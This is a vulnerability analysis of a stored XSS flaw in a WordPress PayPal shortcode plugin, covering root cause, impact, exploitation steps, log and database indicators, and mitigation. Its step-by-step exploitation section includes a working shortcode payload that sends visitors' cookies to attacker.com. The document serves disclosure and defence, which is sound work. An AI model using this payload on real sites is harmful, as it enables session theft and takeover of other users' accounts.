CVE-2026-3617: 
WordPress vulnerability analysis and mitigation

CVE-2026-3617 is a Stored Cross-Site Scripting (XSS) vulnerability in the Paypal Shortcode plugin for WordPress, affecting all versions up to and including 0.3. Authenticated attackers with Contributor-level access or above can inject arbitrary web scripts via the amount and name shortcode attributes, which execute whenever a user visits an affected page. The vulnerability was published on March 21, 2026, and was assigned by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, EUVD).

The root cause is insufficient input sanitization and output escaping (CWE-79) in the swer_paypal_shortcode() function. At line 89 of paypal-shortcodes.php, shortcode attributes are extracted using PHP's extract() and WordPress's shortcode_atts() functions. The resulting $name and $amount variables are then directly concatenated into HTML <input> element value attributes at lines 105–106 without applying esc_attr() or any other escaping function, allowing injected scripts to be stored and rendered in page output (Wordfence, WordPress Trac).

Successful exploitation allows an authenticated attacker (Contributor role or higher) to persistently inject malicious JavaScript into WordPress pages. When other users — including administrators — visit the compromised page, the injected script executes in their browser context, potentially enabling session cookie theft, credential harvesting, unauthorized administrative actions, or further site compromise. The changed scope in the CVSS vector reflects that the impact extends beyond the attacker's own session to affect other users of the site (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-3617 as of the available data. The EPSS score is approximately 0.036%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a Contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Gain Contributor Access: Obtain or register a WordPress account with at least Contributor-level privileges on the target site running Paypal Shortcode plugin ≤ 0.3.
2. Create or Edit a Post: Navigate to the WordPress editor and create or edit a post or page where shortcodes are rendered.
3. Inject Malicious Shortcode: Insert a crafted shortcode such as [paypal name="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" amount="1"] into the post content.
4. Publish the Post: Submit or update the post so the malicious shortcode is stored in the database.
5. Trigger Execution: When any user (including administrators) visits the page containing the injected shortcode, the unescaped $name or $amount value is rendered directly into the HTML, causing the injected script to execute in the victim's browser (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API containing <script> tags or encoded JavaScript within name or amount shortcode parameters.
• Database: Suspicious entries in the wp_posts table containing [paypal shortcodes with HTML/JavaScript payloads in the name or amount attributes.
• Network: Outbound requests from site visitors' browsers to unexpected external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from pages containing the Paypal Shortcode.
• File System: No file-level indicators expected, as this is a stored XSS exploited via database content rather than file modification.

Site administrators should immediately update the Paypal Shortcode plugin beyond version 0.3 if a patched release is available, or deactivate and remove the plugin until a fix is confirmed. As a workaround, restrict the Contributor role from creating or editing posts that include the [paypal] shortcode, or use a capability management plugin to limit shortcode usage. Regularly audit post content in the WordPress database for unexpected script tags in shortcode attributes (Wordfence).

The vulnerability was reported and assigned by Wordfence, a leading WordPress security firm, as part of their routine plugin vulnerability disclosure program. Coverage has been limited to automated vulnerability aggregation sites and a brief technical post on Infinitsec. No significant vendor statements, notable researcher commentary, or broad media coverage has been identified beyond standard CVE publication (Wordfence).